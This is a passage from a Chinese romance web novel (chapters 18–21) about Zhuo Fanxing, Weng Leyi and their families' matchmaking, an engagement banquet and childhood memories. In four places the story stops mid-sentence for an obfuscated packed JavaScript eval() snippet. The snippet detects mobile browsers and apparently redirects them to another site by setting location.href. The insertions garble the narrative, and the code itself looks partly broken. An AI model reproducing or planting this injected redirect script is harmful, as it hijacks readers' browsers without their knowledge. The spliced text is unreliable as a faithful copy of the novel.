翁乐仪移开眼睛,点头道:“真巧,我爷爷喜欢穿这家的衣服。” 卓繁星嗯了一声,看了眼身后的旗袍店,又看向他,声音里有淡淡的雀跃。“是啊,真巧啊。” 秋末的太阳洒在庭院里,人面桃花、纤腰折柳,她的嘴角微微翘着,翁乐仪的心莫名撞了一下。 人走了,佟笑拉着卓繁星便问:“老实交代!”她话里带笑,盘着两只手臂一副“严刑逼供”的架势。 卓繁星说:“同学。” 佟笑凑到她跟前,“你两只耳朵都红了,骗谁呢?” 她听了立刻捂着耳朵。 佟笑被她掩耳盗铃的样子逗乐了,把她带到镜子跟前,戳着她的脸道:“你明明就是春心萌动了好嘛,姐妹。我总觉得他有点眼熟......”她摸着下巴,一下想不出来。 卓繁星却是被她说的愣住,镜子里的人眸中漾着水,脸也是红的。 她刚刚就是这幅样子在他面前的吗? 她的心砰砰跳的飞快。 佟笑跟她咬耳朵:“我爸说他家里不错的,你要真心动了就冲啊,到时候嫁到京市来多好,咱们还能经常约个饭逛个街,多好啊。”她顶了顶她的肩膀。 卓繁星脸上的热度渐渐褪去,这话像一盆凉水浇下来,让她瞬间清醒。她拍了拍她的脑袋,无奈笑了下,说:“是太阳晒的。” 佟笑看她还不承认,翻了个白眼无语道:“死鸭子嘴硬,我信你有鬼呢。” ...... 翁乐仪从佟家旗袍店出来进了七号院。这是以前京市大学附近的家属楼,楼层不高,翁家的房子在一层,有个小院。这儿是当时翁爷爷做教授的时候分的房子,同妻子住了三十年,直到妻子病逝才搬出,不过每年都会回来住上两三个月。 翁乐仪回来的时候,他躺在摇椅上晒太阳,收音机里放着京韵大鼓,听见声音,眼皮一抬说:“回来了?” 翁乐仪把衣服放下,把掉在地上的毯子给拾起来。 “衣服要不要试试?” “不试了不试了,佟家小子做的我还是放心的。不过还是比不上他老子,老佟现在精力也跟不上了,都老了老了啊。”老爷子有些怅惘。 他这边感叹。“我听你姥爷说凌洲有对象了,是个挺漂亮的小姑娘。”说完拿眼睛看他,奈何翁乐仪没接收到他的讯息,轻描淡写地说是有这么回事儿,然后自顾进了屋把衣服给了保姆柳姨,过了几分钟才拿着电脑包出来。 “凌洲都有对象了。”老爷子又说。 翁乐仪把电脑打开,抬头看了他一眼。 “你也老大不小了,跟他就差了一岁。”老爷子喝了口茶。 翁乐仪没开口,等着他的后话。 果然,那边接道:“我前两天遛弯儿的时候和老佟一道下棋,他孙女和你一样年纪,也没找对象呢,要不你俩认识认识?” 翁乐仪放在触屏上的手没停,他说怎么让他去取衣服了。 “我觉得挺好的,你刚去见到他家姑娘没?”他见过佟笑,小姑娘长的伶俐,嘴巴也甜,是个懂事孩子。 翁乐仪手一停。“见了。”脑子里却晃过一席绿底红梅。 “咋样啊?”老爷子急的呦,坐起来看他。 他无奈道:“我接下来不在京,人姑娘在这儿住着,跟我谈什么?” 老爷子说:“你又不是不回来了?先接触接触呗,视频电话多打几个不都一样,哪像我们那时候只能写信拍电报的。” “所以你们那时候只能爱一个人。”翁乐仪从善如流地接到:“现在选择多了去了,人姑娘京市一套四合院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067322|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,干嘛非得要谈个异地恋。”而且还是个瘸子。 提起这事儿,他说:“我过两天就走了,您自己身子自己多注意,我让柳姨把酒瓶子都藏起来了,陈医生每天都会过来,您身体什么情况都会跟我说,别想偷偷喝酒。” 院里鸟笼里的鸟叫了两声,收音机里正唱着名段《击鼓骂曹》。翁乐仪没听见声音,一抬头看老爷子已经背过身,嗐,不理人了。 光线太亮,电脑屏幕看不清,翁乐仪坐在竹椅子上,索性往后一趟。 午后的太阳照得人昏昏欲睡,他发了会儿呆,打开手机,朋友圈里随便一刷就刷到徐謇——这厮是他大学同学,两人一道组了乐团,后来毕业了联系也没断。 徐謇读的数学系,戴一副框架眼镜,看着老实无害,实则心机深沉。他如今实乃金融精英,朋友圈中时常出入酒会,晚宴。 想起来,这厮不仅心机深沉,还面皮极厚,当年大学里面追姑娘的时候,可谓是花招奇出。 那姑娘是卓繁星的朋友,犹记得他为了追人家,特意约密室逃脱,提前踩点。 那姑娘说要带朋友一起来,他就把他带上两两组队。见了卓繁星后,他立刻怂恿他去追她。他不知道他认识卓繁星,当然两人都没说认识对方,这就是古怪的一点。明明没什么不好说的,却偏偏装的和初次见面的陌生人一样——徒增心虚。 徐謇那时大言不惭:“以后咱们约会做的规划一起用,一起出行,实在是很有效率,经济利益最大化的一件事。” 翁乐仪当真觉得他非常奇葩。 以至于后来他真把那姑娘追到手后,还要带上他们两个,他也是没想到的。 做摩天轮、看电影、酒吧演出......翁乐仪到现在都记得他说的话:“那姑娘绝对对你有意思,不然为什么每次都来。你能不能更迟钝一点!我要长成你这样,还要费这么多心思,啧啧。” 翁乐仪头一次开始怀疑,莫非......可是她和凌州谈过......可是他们早就分手了呀。 他动摇挣扎,眼看着后者占据上风。好在还有一个暑假的时间去思考。 他在那个暑假前往美国陪他母亲消夏避暑。那是一个平淡无奇的午后,他接到那通电话,女孩儿声音带着泪水的表白,让他恨不得遁地而逃,只想原地消失,再也不要见面。 他到现在都记得,那是凌州的手机打过来的,他不愿意承认当时自己还有些细微的心虚。对方轻飘飘不在意地和他打招呼,说卓繁星有话和他讲。 那时他们已经有了很多接触,不像高中时候那样陌生。他清楚地听见她柔软的音调,只是从没有那样脆弱过。 “我喜欢你!” “蒋凌州,我喜欢你!” 翁乐仪觉得自己仿佛被暴晒在阳光下,逃无可逃,还有羞耻的恼怒。 他丢下一句有病,挂了电话,皱着眉站了很久,然后一下跳进泳池。 过了很久,躺椅上晒太阳的蒋濯衣摘下墨镜,去找他。 “乐仪,有什么问题么?” “没有。妈妈,我想要洗洗脑子。”他在水里探出一个头,随后又一个俯身潜了下去。 水池里咕嘟咕嘟的冒着气泡,他睁开眼,蓝色的水波像一串无序的乱码。 总之那是个非常慌乱的夏天,像突如其来的暴风雨,尘土飞扬,很快消失无踪。 如今,奇怪的感觉卷土重来。 19. 第 19 章 卓繁星从初一来京市,见证了这座城市的变化,虽然依旧不习惯干燥的空气,但厚重沉静的风格叫她有种落定的心安。 现在京市已经有蓝天白云了,尤其记得初至时漫天的雾霾,天空灰蒙蒙看不清。 姚灵均带她去了一家有名的吃京菜馆,繁星记得以前约他家没有这么繁琐,甚至以前提起来,游客少有知道。 姚灵均说这都是自媒体带火的。不过这家味道确实不错,环境也好。她还是因为胡昊天公司中有认识的人,这才帮忙约上的 她把外套脱了,露出里面鹅黄色的针织衫。她头发不到胸口,烫了微卷,细软的发丝有些调皮地展开。 除去她留学的两年,中间的几年,她们其实就见了一面。工作之后,总是那个有空,那个没空。可其实都是借口吧。 卓繁星从佟笑那儿出来后,知道自己的冷清。 灵均不是没有去Y市过。她说:“灿灿,我们疗休养,刚好Y市那边有度假村,我来找你!” 她兴奋不已,卓繁星却觉得慌乱排斥。 她觉得自己的生活过得一团糟,羡慕她的留学生活,羡慕她安逸的工作环境。她那时正在医院里陪卓强复诊,结束后要将他们送上车,再返回工作室上课。 周遭的人都和她一样有一张麻木平静的脸,她拿着卓强的尿液送去化验科,手还没擦干净,湿漉漉的腾不出手来拿纸巾。 灵均欢快的声音格外刺耳。 “你什么时候过来?我不一定有空,暑假课多。” 卓繁星不知道她听懂了没。总之她们没有见上面,她很懂事地没有打搅她。 “灿灿,我结婚你会来吗?”姚灵均已从她口中得知她明日就要回Y市。 卓繁星点头。“为什么不来?” “是啊,为什么不来。”姚灵均觉得自己话问的傻气。她当然知道,家里待灿灿实在算不上多好。她们衣食不缺,姑还给家里不少钱,可情感上灿灿好像一直没有融入过。 她们现在大了,再提这些好像叫人觉得矫情。 两个人没坐对面,反而挤在一起。灵均问她下午去了哪里,卓繁星说去见了同学。 “相亲呢,怎么样?” 卓繁星老实说:“不太合适。” 姚灵均一针见血。“你没看上他?” 卓繁星想到那天信息发出去,她不是拖泥带水的人,赵医生也是客客气气的说好的。她当时真是觉得一下轻松许多,又很感谢他。 她将这种感觉说给姚灵均听,灵均咬着叉子,吃吃笑了下。 “那胡昊天还是很主动的。我一开始也对他没什么感觉,他后来一直约我......不过医生很忙啦,我觉得不一定好。” 又说:“其实结婚也不一定好,我觉得我有点婚前焦虑。” 卓繁星说这很正常吧。二十出头的时候觉得结婚很遥远,过了三十好像又会特别慎重,而二十七八刚好又卡在两者之中,有种要抓住结婚尾巴的紧迫感。 她最后总结道:“好奇怪的感觉。” 姚灵均深以为然。至于自己到底想不想结婚,这时候反而是想不通的。被一种焦虑感裹挟着,就像一辆满载的火车,看见大家都上了车,自己也忍不住往上挤。 用完餐,姚灵均被告知帐已结过。“肯定是胡昊天啦,回去表扬他。”她脸上露出甜蜜的笑,去前台开发票。 卓繁星上了个洗手间回来,就看到她同陈跃站在一起,剑拔弩张。 陈跃的长相生的很好,并非多么精致,雕塑般的五官,而是他面相舒适,个子高挑,一身的气质综合起来的好看。 他今日穿了一件军绿色的飞行员夹克,倚着服务台。他对面的灵均,面色涨红,嘴唇开合,不知道在说些什么。 她走近了听见他们的对话。 灵均说:“我跟你没关系。” “请你吃顿饭的关系还是有的。”陈跃的声音轻浮且随意。 “我不需要!陈跃你能不能离我远点。你有钱路边随便请人吃饭都行,我不稀罕。” “就一顿饭。”他笑了下。“姚灵均你自己想太多。” 灵均肉眼可见的恼羞成怒,眼眶瞬间泛红,可是她并非要哭出来,这样的场合也不想允许她失态。她捏着拳头,扬起下巴,表现出不屑与厌恶。“就当是我想太多,你之前的所作所为让我很难不想多,毕竟我没你那么滥交。” “你说什么?”陈跃皱眉。 卓繁星这时走了上去。“灵均。”他目光在她面上扫过,伸出去的手收了回来。 卓繁星显然没有要和他打招呼的意思。“我们走吧。” 姚灵均眼眶胀痛,跟着她一路沉默地坐上车。 在酒店楼下的便利店,她说:“要不要买点酒?” 卓繁星说:“为什么?” 她皱着鼻子。“是啊,为什么。”却还是诚实地拿了两罐啤酒。 两人坐在便利店外的椅子上,胡昊天发来微信。这是她方才问他发票抬头开什么,他到现在才回过来信息。 她没意思地暗灭了手机。 陈跃调侃的声音又出现在脑海里。“你对象叫你开的?白吃一顿再拿一笔报销,人才啊。” 她呼出一口气。“灿灿,下雨天的时候,两个人一起赶论文。雨水的白噪音,让人觉得很安心。赶论文赶的崩溃,一转头,看见他睡着了。” “灵均。” “我不像你们,我一直不好意思说。我觉得你、许筠、还有蒋凌洲陈跃他们,你们都是一类人,长得特别好看,是会有电视剧小说里的青春故事的。而我不是。” 她转头看向她,抱着啤酒的双手配合着脚垫了垫。 “我觉得自己很平凡。读书的时候真的很丑.....不会打扮,身材也不好。所以我有点自卑,还很羡慕你。” “那个时候蒋凌洲和你交往,我是真的很生气,很嫉妒。”她皱着鼻子发笑。“我觉得你那个时候就和小说里的女主角一样。” “后来读大学的时候,我妈不明白我为什么不留在京市,可我就是想远离你们。我在大学里会打扮了,还变瘦了,可是我一回到家里,跟你站在一起,我就觉得自己还是丑小鸭一只。” 卓繁星吃惊地表情让她发笑。“真的呀。你不会一直觉得自己不好看吧。你那个时候跳舞哎,又高又瘦,仪态也好,和只白天鹅一样。而我,就是那种普普通通的学生。你还不近视,我那个时候顶着个眼镜框。” “所以啊,我就是会喜欢你们这样的人。” “你的成绩很好啊,我从来没有超过你过。”卓繁星摸摸她的脑袋,她蹭了蹭。“更生气了,你在骂我是书呆子。” “哎。”她叹气。“我在英国的时候真的很开心。我好像既有了喜欢念的书,又有了喜欢的人。” 晚上姚灵均直接住在酒店里,第二天匆匆忙忙爬起来上班。卓繁星给她的东西全都没拿。不知道是故意的还是真不方便。 卓繁星手机里佟笑拉的群,小苑在疯狂输出:翁乐仪!那不是繁星没成的对象。然后疯狂敲她。 卓繁星说没有没有,佟笑发了个看你装逼的表情包。 她解释不清,也顾不上,拿着东西去了姚家。 徐凤正在给婆婆买衣服,保姆来了电话。 “家里没人,叔去钓鱼了。送来几个盒子,我见都是名牌,一只名牌包,还有一条围巾,噢,还有一只翡翠镯子!说是给灵均做订婚礼物的。” 徐凤看着姚馨雅正拿了条貂毛的大衣给老娘看,说:“灿灿来家了。灵均订婚,她给送了礼。” 婆婆开口:“那我们回家吃饭。” “已经走了,说赶飞机,东西搁下就走了。” “那么急做什么?”她抱怨,目光看向女儿,提醒道:“你回来给她说了没?” 徐凤暗道,还说呢,她眼睛里就没这个女儿。从灿灿到家来,她就没问过一声,钱倒是打的及时。她那时候还想叫灿灿在电话跟前叫一声,叫她们说说话,她都不要。 徐凤不想触她霉头,可心里到底觉得她心狠。婆婆却说出来了。“你就这么一个女儿,往后你老了,要她照顾的。” 姚馨雅说:“妈别讲了。那么多年过去了,她认不认我这个妈还两说。” “那你到底要现在对她好呀。” “她现在都自力更生了,不指望我了。”姚馨雅慢条斯理地照了照镜子。 “你最有盘算,怎么不想到和那个鬼佬生一个。” 徐凤见姚馨雅变了脸色,上去打圆场。 都什么年纪了还说生不生,馨雅这辈子就灿灿一个丫头了。 她这人犟,认准了就往前冲,非要撞得头破血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067323|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流。要不然当初怎么同灿灿爸爸私奔的呀。 徐凤想,她呀,不定看的比谁都清楚——孩子小好笼,孩子大了,灿灿不稀罕她钱。她只能朝着老公使劲了呀。 很快到了订婚那天,蒋凌洲带着爷奶妈妈一道来的时候,徐凤的腰板挺的笔直,面上红光满面,笑容都快咧到耳朵根去。 她同胡昊天妈妈的交锋少说也有三五回了,这人仗着自己初中教师的身份,命令起人来也是不遑多让。她心里顶不耐烦。 “濯衣也来了。”她笑嘻嘻地上前。 蒋濯衣上来就是一对奢牌情侣手表。“祝贺灵均呀。” 徐凤哪想到她这么大手笔,高兴地把两个孩子叫过来,叫姨。 蒋濯衣今日一件Maxmara的经典大衣,脱掉后修身的羊绒衫将身材的优势凸显的淋漓尽致。 “怎么这么年轻?我还以为是灵均的姐姐。”胡昊天妈妈赞叹不已。 徐凤因为蒋家已经撑足的场面。要知道本来二十个人的桌子上基本都是胡家人。谁叫姚家是半路来京,胡家就是京市人,胡昊天妈妈没少骄傲。先前因为房子的事,总也要拿出来摆摆架势。 如今,胡家这边的叔婆,几只眼睛看着蒋凌洲。 “谈对象了没?在哪里工作呀?看着真出挑。我家里还有好姑娘。” 秦老太太听了高兴,同丈夫一道笑。蒋爷爷说:“他有对象了,不然指定叫您给我介绍介绍。” 秦老太太说:“是啊,要是像灵均那么省心就好,说什么都不肯结婚,不知道要拖到什么时候去。” 胡爷爷点头。“现在的年轻人都有自己的主意。不过昊天当时一见到灵均就喜欢,回来就说要结婚,所以啊,说来说去还是看人。我们啊,就等着抱孙子了。” 蒋爷爷说:“我还没影呐。不知道什么时候才能抱上。” 两个人碰了酒杯,笑嘻嘻地喝下酒。 秦老太太朝蒋凌洲离开的方向和媳妇努嘴。“你瞧,说一下就坐不住了,跑了。” 宴席过半,蒋濯衣提前告辞。 她就是凑个热闹,好些年没参加过这样的聚会,国内还是不同,有股叫人觉得亲近的热闹劲。再说那天徐凤过来送帖子正巧碰上,她听她妈说了,因为姚馨雅的事儿,有点尴尬。 蒋濯衣是个敞亮人,今天来了,叫她妈也舒服点。毕竟都在京,以后还是要常走动的。徐凤这个干女儿还是很贴心的。 酒店大门外,翁乐仪已经在等她。 他把车门打开,蒋濯衣上车的档口看见蒋凌洲从旋转门中出来。 “凌洲也回去了?”她问道。 蒋凌洲面色有些冷淡,说:“林灿来京市了,刚下飞机。” 蒋濯衣挑了挑眉,她在妈耳朵里听见好几次了,是他在美国的女友。 翁乐仪同他打了招呼,便上了车。车子启动,蒋濯衣扭过头,看见蒋凌洲手机放在耳边,脸色着实称不上好。 “妈看什么?” “凌洲是不是同姚家的女儿谈过恋爱?” 翁乐仪愣了下。“怎么突然提这个?” “我方才去洗手间,见他堵着那个女孩儿。” “什么?” “哎呀,就是今天订婚的姑娘。” 翁乐仪的眼睛眨了眨,搁在扶手上的手松开,起身拿了一瓶水,喝了一口才道:“妈胡说什么呢。” “我哪里胡说。就是堵着那姑娘。”蒋濯衣漂亮的眼睛里闪烁着八卦的兴奋,令翁乐仪有些无语。 “他那女友急匆匆找过来,不会就是因为这个吧。” 翁乐仪说:“凌洲谈恋爱的不是她。” “那是谁?” 他嘴唇动了动,说:“她表姐。” 蒋濯衣果然愣了下。“姚馨雅的女儿?我今日没看见呀,她就带着她丈夫一道来的。” “要么是我看错了。”她有些遗憾地讲。 不过她兴趣很快转移到郊外别墅的装修上。她在国外曾任职于一家杂志的家居设计编辑,对这些很感兴趣。 “我听说你在Y市的房子也要装修,你将图纸发来,我给你看看。” “只是短暂的住一阵,不必费心思。” “我闲着也是闲着。再说要住上大半年,怎么不算时间长。你自己不讲,我去问你爸爸也是一样的。” 20. 第 20 章 机场,林灿的眼睛里都是面前高大的男人,他们多久没见了,快两个月了。即便在美国,经常十天半个月见不到,可六十天还是太久了呀。她冲上去抱住他的胳膊。 “惊喜吗?” 蒋凌洲推着行李车,看了她一眼。“你觉得呢?” 林灿撇撇嘴。“我飞了十几个小时哎。” “没人要求你,你可以不用受这些罪。” 林灿心里浮现失落,这种感觉她并不陌生,她在他身上常常感受到。这次是她不请自来,没有提前和他说,她应该习惯,已经做好了心理建设。 电话里装的无辜无助,他不是来了么,来了就好。 “你今天是去参加什么活动吗?”她换了话题,目光落在他打理整齐的头发上。 他一出现在机场她就发现了。他的穿着并不是非常正式,那证明不是很严肃的场合,可又精心装扮过。是朋友的聚会? 她在他身上没闻到酒气,反而是淡淡的木质香,夹杂着些许烟草气,成熟深邃,和他身上的气质融合的恰到好处。 她想到第一次见他的时候——不,不是第一次见他,她是先闻到他身上的味道,再看见他的人。 那时,她在干洗店做兼职,店铺因为开在富人区,服务人群常为高端人士。她在很长一段时间里只见过他家中的家政阿姨,直到有一天,她拿着要清洗的衣物下楼。出电梯时,他牵着一条伯恩山犬站在外面。她认出他身上的味道,狗也认出来,疯狂地往她这边蹭。 鸭舌帽下的眼睛从手机移到她脸上,斜挑的眼睛带着淡淡的打量。后来她奶奶见了他,她才知道,原来那就是丹凤眼,气势逼人,常生在贵人脸上。长了这样一双眼睛的男人,多薄情,喜欢上他要吃大苦头。 可谁能拒绝这样的男人。林灿想,她就是以后年纪大了,想到和这样的人有过一段情,也是很美好的事呀。 以后的事以后再讲啦。这之后,他们已经在一起四年多了。 蒋凌洲将后备箱打开,把她的行李拿上去。 “你准备呆多久?” 林灿转了转眼珠。“舞团近期没有活动,我还有年假没休。” “我是来度假的,你会陪我吗?” “要去很多城市恐怕不行,我会让薛明给你安排。” 林灿已经知足了,高兴地踮起脚在他脸上亲了一口。“我不想跑太远,我是来见你的呀,哈尼。”声音里塞了慢慢一罐的蜜。 蒋凌洲开着车,林灿看了看窗外驶过的路灯,桥下的建筑,还是看向他。 蒋凌洲面无表情的时候显得很冷峻。她不后悔,方才电话过去时,他的冷淡她都听见了,也看在眼里。没关系,她会示弱。 适时的示弱,他总不会将她丢在机场吧。果然,他接到电话就赶来了。 早该这样的,她早该飞过来,也不至于一个人想他这么久。 她一只手伸过去,握住他的。 手指摩挲着然后插入指缝,与他相扣,蒋凌洲睨了她一眼。 “我很想你呀。”她适时的露出一个微笑,还有委屈。怎么能把女友放在外面那么久,离开那么久。 真过分啊。 她举起他的手,在指骨上狠狠咬了一口。 停车的间隙,蒋凌洲疼的皱眉,捻住她的下巴,像是掌控着她,有些冷淡地看她。 她的目光瞬间变得柔软,仿佛刚才露出尖牙的小兽只是幻觉,瞬间收了回去,话说起来这样不是应该更可爱么。她漂亮的杏眼望着他,古灵精怪,在咬过的地方亲了亲,舌头柔软的舔了舔。 蒋凌洲任她舔了几秒,有些无奈地松开手。 适时薛明的电话来了。 林灿气的竖眉。“你让我住酒店!” 薛明一下噤声。蒋凌洲挂了电话,问她:“那你想住哪里?” “当然是你家!不,你住哪里我住哪里!” 她抱胸抬头,气势十足,可这气势在他面前,时间越久就像漏气的皮球,很难撑很久。 “你不会另有新欢了吧!”她眼睛里要蓄出泪来,唇瓣颤抖。 蒋凌洲说:“随你。” “什么叫随我?是要我和你一起住吗?”她得寸进尺。 “你不累么,可以休息一下。” “我不累啊,我见到你我就什么都不累了。” “我要和你住一起!不要把我放酒店啊!”她强调。 蒋凌洲轻笑一声,方才从接到她电话时候开始的不耐逐渐消散。看吧,她还是很有能耐的,不然怎么解释他一直和她在一起。她总是在他要提分手的时候,突然让他发觉出她的可爱之处,像有最敏感的触角,趋利避害到了极致。 真是神奇。 他欣赏地看着她,看着她喋喋不休的嘴唇,在又停在一个红灯的档口,俯身吻住她。 林灿被突如其来的热情包裹,熟悉而又令她迷醉的气息扑面而来,她揪着他的毛衣几乎要哭出来。 这狠心的男人,时时刻刻要与她一刀两断。 她好几次看见他的不耐烦,那股低气压盘旋在他头顶,在他现身的时候,她就感觉到了。 到了蒋凌洲的家中,车子一停稳,她便迫不及待地坐在他身上。 她爬过中间的横杆,细瘦的手臂盘在他脖子上,亲的毫无章法,只觉得他的眼睛、鼻子、嘴巴......哪里她都喜欢,恨不得一个吻刻上一个痕迹,她专属的痕迹。 蒋凌洲没有那么急躁,经过很长的一段路,他的热情显然消散不少。他不介意在车里来一次,只是这里没有避孕套,他不想闹的不可收拾。 或者更主要的原因,他今天的心情仍不是很好。 俞秋华的电话打来,林灿立即安分下来。 “是,是,我接到她了......她在休假。” 电话里不知说了什么,他看了她一眼。“到时候再说。好的,你们早点休息。” 林灿安静许多,乖巧地问:“我需要去拜访一下伯母吗?” 蒋凌洲将她的行李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“阿姨每天会打扫......好吧,我让她打扫楼上的房间。”他搁下杯子妥协道。 林灿却不满意。“算了,我睡楼下,就是鼻炎又怎么了,反正你也不会关心。” 蒋凌洲说:“明天再说。” 许筠打来电话,蒋凌洲接起来,看了一眼她。“我接到了。”他将手机直接给她。 林灿接过来,朝他吐舌头。那头许筠的声音温柔带笑。“我还想要是他不去,我就过去接你。” 她嘻嘻笑。“我电话一打过去他就来了......嗯,现在在他家里。” 蒋凌洲已经一边脱衣服一边上楼。毛衣拿在手上,他一颗一颗解开扣子,林灿叫他的时候,衬衣完全松开,露出劲瘦的胸腹。 “许筠约我们明天吃饭。” “知道了。” 她挂了电话,像只兔子一样爬上去,房间没关,她把地上的衣服捡起来,有些甜蜜地骂道:“好邋遢哦。” 这里的房间和美国的不太一样,她一下把自己甩到床上,柔软的床垫将她弹起。 身体误触到什么,她呀一声,窗帘合上,屋里的灯也暗了。 只见墙上突然出现一块巨大的幕布,少女的影像突兀地出现在上面。 黑白的影像强化了光影的线条,她穿着练功服,面对镜头,眼珠剔透,带着不自知的纯洁与羞涩,像最干净的花一样。 21. 第 21 章 卓繁星什么时候喜欢上的翁乐仪。这个问题连她自己都回想不起来。 初一的时候,姚国平调到了京市,姚家一家人就都跟着搬了去。到了那儿,大人嘴里的蒋家才在她那里具象化。 蒋家有个跟她们年纪差不多的男孩儿,这是她和姚灵均都知道的。 除了舅妈每次送礼的时候都要给他挑一份,她还爱拿他的事来教育姚灵均。这导致在到北京之前的很长一段时间里,姚灵均都对他没有什么好感。 直到见到了本尊 当时的蒋凌洲已经有一米七二了,因为长个子所以显得特别瘦削。 “这就是我两个孙子。”秦奶奶喊他们过来给徐凤和姚家老太太看。 姚灵均看了一眼就低了头,然后又偷偷再看。 十三四岁,正是对男女情事懵懂又憧憬的时候,知色而慕少艾,再正常不过。 卓繁星也不例外 两个男孩儿各有千秋,一个像冰霜,一个像静水。一个轮廓已现锋芒,一个还未长开带着些婴儿肥。 姚家老太太和徐凤什么好词儿都往他们身上堆,还要说些“你小的时候我还抱过你,一眨眼都这么大了。”等等诸如此类的寒暄话。 翁乐仪怀里的猫估计不耐烦了,蹿下来往楼上跑,两个男孩儿顺势上了楼,直到她们走了都没再下来。 那一次,是卓繁星见翁乐仪的第一面。 他手里抱了只肥肥的猫,眼睛下面挂着两个不合时宜的眼袋,跟他怀里的猫一样困倦又慵懒。 后来开了学,她跟他分到一个班才知道他成绩好的出奇,是学校里的年级第一。 但那个时候,他之于她来说太过遥远,她跟初到京里的姚家一样,还在适应突然改变的环境。 她从小跳舞,起初是陪姚灵均,可后来姚灵均坚持不下去了,倒是她还一直跳着。姚家不缺钱,所以即便对她父亲怨怼过甚,却在物质上从未薄待过她。 她跟着父亲的那几年过的并不好 还记得到了姚家的那天,她哭累了睡在姚灵均的床上,第二天姚家的保姆带她去剪了头发,因为她头发里有虱子。这并没有什么不对,只是当她坐在镜子前面,看见保姆叮嘱理发师剃干净的时候。那一刻她的心就像够不到地的双脚,漂泊而无依。 她六岁到了姚家,却直到一年后才见到她的母亲。 姚家对她父母的事讳莫如深。千金小姐爱上了穷小子,暗结珠胎后私奔离家。这样的事,更何况在那个年代。然而姚馨雅并不是真的活在童话故事里的女主角,她生来富贵,(较之卓强可撑得上是富贵),从没吃过苦,生下繁星后不久就幡然悔悟回了姚家,之后出国深造,很少回国。 这一桩事,就像在戏台子上唱戏,主角都一一落幕谢场了。 姚馨雅有了自己的新生活,将卓强和繁星抛在了脑后。过了六年,卓强把繁星给了姚家说:“我养不起她,她跟着我得吃苦,就给你们吧。”随后出了门,也有了自己的新生活。 到了最后,台子上就剩下了繁星一个人。她站在阴影里,看着姚灵均被父母爷奶宠爱着,也有揪着鼻子骂的时候,但只要她一撒娇,什么事儿都没了。 她那时对姚馨雅也是有过幻想的。 她记得父亲跟她说过,他是带她去找妈妈。在绿皮火车上坐的那二十几个小时的时间里,她都还是开心的。 彼时距离她生日还有两三天,她幻想着他们一起给她过生日。 火车到站,在去姚家的路上,卓强带她去买了个圣诞老人的娃娃,带着一个小吸盘能挂在窗户上的那种。 她在家里从来没见过。 商店里面有一棵圣诞树,上面挂了各种颜色的彩球雪花和礼物盒子,直到走出很远,她都还回头看。她觉得那颗树真好看,以为那些礼物盒子里真的有礼物。 后来她的生日过了,姚灵均有了颗小圣诞树,比她上次见到的还好看。上面有小鹿星星,还有她看不懂的英文字,一插上电就能唱歌。她带着她一起看,说这是她姑姑从国外寄回来给她的。 她说她姑姑是个大美女,还是个大画家,会弹钢琴,还会说英语,特别厉害,她以后也要跟她一样。徐凤听见了就斥她,让她们两个赶紧回房间睡觉。 是的,在很长的一段时间里,姚灵均都不知道她就是她姑姑的女儿。因为她那时像个黑皮猴子,剃光了头发后就更加难看,她无论如何都无法将她和姚馨雅女士联系起来。 只是她住了很久一直不见离开,没多久又放寒假,有个玩伴,姚灵均也觉得开心。可是开学后到了幼儿园,放学的时候她抱着徐凤的脖子问她什么时候走啊。 徐凤奇怪,她哭着说她不想跟她玩了。 班里的小朋友给繁星起了个外号叫卤蛋,因为她黑黑的皮肤和光光的脑袋。她普通话说的不好,带着浓浓的乡音,小孩子模仿她讲话,都说姚灵均,你怎么有这样的姐姐啊。 那大概是卓繁星最孤单的一段时光。 姚灵均也还是个孩子,她不懂事,却又能最直接的趋利避害。她排斥着繁星,就是这个人让她在学校被人笑了。到了晚上睡觉的时候,等保姆和徐凤都走了,她就把繁星的被子掀开。 “你回你自己家去,你没有家吗?你不要呆在我家了。”她把她赶下床,不让她睡她的床。 繁星穿着棉毛衫棉毛裤哆哆嗦嗦地站在地上 那时候将将三月,前两天还下了场雪。 姚灵均敞着大字占着床,繁星把衣服穿上,坐在她卧室里的小椅子上,等她迷迷糊糊睡过去了才偷偷跑到床上。天亮了之后,保姆进来喊人,发现她发了烧,赶紧带她去了医院。 那阵子起了流感,幼儿园里几个小孩子也都请了假。徐凤怕姚灵均也被传染了,把她抱到自己屋里睡,直到卓繁星病好了才将她送回去。 姚灵均心虚,怕繁星告状,这才安生下来。只是之后不久,她就央着徐凤,她不要和她一起睡,要她去姑姑的房间。徐凤磨不过她,把姚馨雅的房间收拾出来,但是没想到繁星睡了两个晚上就尿床了,她不敢一个人睡。 现在想起,可能也就一笑,而在当时,对于六岁的她而言,当保姆把她剥干净了,姚灵均捂着嘴笑她羞羞的时候,她通红着脸,身体却像木偶一样僵硬。 姚馨雅回来的时候,繁星已经上小学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 